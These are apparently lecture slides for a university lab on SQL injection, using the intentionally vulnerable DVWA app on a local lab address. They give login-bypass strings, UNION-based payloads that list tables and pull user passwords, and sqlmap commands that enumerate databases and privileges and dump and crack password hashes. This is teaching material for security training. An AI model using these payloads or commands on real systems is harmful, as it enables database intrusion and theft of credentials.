



# Information Security

## LAB: Database security — SQL Injection

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# SQLi attacks

- ☞ SQL Injections can do more harm than just by passing the login algorithms. Some of the attacks include
  - Deleting data
  - Updating data
  - Inserting data
  - Executing commands on the server that can download and install malicious programs such as Trojans
  - Exporting valuable data such as credit card details, email, and passwords to the attacker's remote server
  - Getting user login details etc

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# Examples

- ☞ Crack username/password

- SQL query:

```
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
```

- Type:

```
$username = '1' or '1' = '1'password = '1' or '1' = '1'
```

- The query will be:

```
SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'
```

- ☞ => always true (OR 1=1) => the system has authenticated the user without knowing the username and password.

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# Examples

SQL query:

```
SELECT * FROM products WHERE id_product=$id_product
```

ex:

<http://www.example.com/product.php?id=10>

Using the operators AND and OR.

```
SELECT * FROM products WHERE id_product=10 AND 1=2
```

Ex:

<http://www.example.com/product.php?id=10 AND 1=2>

=> there is no content available or a blank page.

Then, send a true statement and check if there is a valid result:

Ex: <http://www.example.com/product.php?id=10 AND 1=1>

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# DVWA

**Damn Vulnerable Web App (DVWA)** is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test

**1.1 Download DVWA**

**1.2 Create database and user in DVWA**

**1.3 Config DVWA**

**1.4 Setup basic database in DVWA**

**1.5 Access DVWA**

<http://10.0.0.2/login.php>

Set DVWA Security Level: Low

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## DVWA, ex

- ☞ Basic Injection: 1
- ☞ Always True Scenario: '%' or '0'='0
- ☞ Display Database Version :
  - '%' or 0=0 union select null, version() #
- ☞ Display Database User:
  - '%' or 0=0 union select null, user() #
- ☞ Display Database Name
  - '%' or 0=0 union select null, database() #
- ☞ Display all tables in information\_schema
  - '%' and 1=0 union select null, table\_name from information\_schema.tables #

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## DVWA, ex

- ☞ Display all the user tables in information\_schema
  - '%' and 1=0 union select null, table\_name from information\_schema.tables where table\_name like 'user%'
- ☞ Display all the columns fields in the information\_schema user table
  - '%' and 1=0 union select null, concat(table\_name,0x0a,column\_name) from information\_schema.columns where table\_name = 'users' #
- ☞ Display all the columns field contents in the information\_schema user table
  - '%' and 1=0 union select null, concat(first\_name,0x0a,last\_name,0x0a,user,0x0a,password) from users #

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# Sqlmap

- ☞ **sqlmap** is an open source penetration testing tool that automates the process of
  - detecting and exploiting SQL injection flaws
  - taking over of database servers.
- ☞ It comes with a kick-ass detection engine
- ☞ Many niche features
  - the ultimate penetration tester
  - a broad range of switches lasting from database fingerprinting,
  - over data fetching from the database,
  - to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
- ☞ Download and install Sqlmap  
<http://sqlmap.sourceforge.net/doc/README.html#s1>

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# Tamper Data

- ☞ Open firefox: add Tamper Data to Tool
- ☞ Select Tool\Tamper Data
- ☞ Start Tamper Data

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## Using Tamper Data and sqlmap

- ☞ Run SQL injection
- ☞ Tamper with request
  - Copying the Referer URL (Ref)  
Ex: `http://192.168.1.106/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit`
  - Copying the Cookie Information (Coo)  
Ex: `PHPSESSID=lpb5g4uss9kp70p8jccjeks621; security=low`
- ☞ Run sqlmap to obtain the following pieces of information
  - Obtain Database User For DVWA. Syntax:  
`./sqlmap.py -u <Ref> --cookie <Coo> -b --current-db --current-user`
  - Ex: `./sqlmap.py -u "http://192.168.1.106/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=lpb5g4uss9kp70p8jccjeks621; security=low" -b --current-db --current-user`  
Do you want to keep testing? Y => Result

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## Using Tamper Data and sqlmap

- ☞ Run sqlmap
  - Obtain Database Management Username and Password. Syntax:  
`./sqlmap.py -u <ref> --cookie <Coo> --string="Surname" --users - password`  
Use Dictionary Attack? Y  
Dictionary Location? <Press Enter>
  - Obtain db\_hacker Database Privileges. Syntax:  
`./sqlmap.py -u <ref> --cookie <Coo> -U db_hacker -privileges`
  - Obtain a list of all databases.  
`./sqlmap.py -u <ref> --cookie <Coo> --dbs`
  - Obtain "dvwa" tables and contents  
`./sqlmap.py -u <ref> --cookie <Coo> -D dvwa --tables`
  - Obtain columns for table dvwa.users  
`./sqlmap.py -u <ref> -- cookie <Coo> -D dvwa -T users --columns`

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# Using Tamper Data and sqlmap

## Run sqlmap

- Obtain Users and their Passwords from table dvwa.users. Syntax:  
`./sqlmap.py -u <ref> --cookie <Coo> -D dvwa -T users -C user,password --dump`

Do you want to use the LIKE operator? Y

Recognize possible HASH values? Y

What's the dictionary location? <Press Enter>

Use common password suffixes? y

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# Sqlmap

## use sqlmap to obtain the following pieces of information:

- A list of Database Management Usernames and Passwords.
- A list of databases
- A list of tables for a specified database
- A list of users and passwords for a specified database table.

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# Q & A

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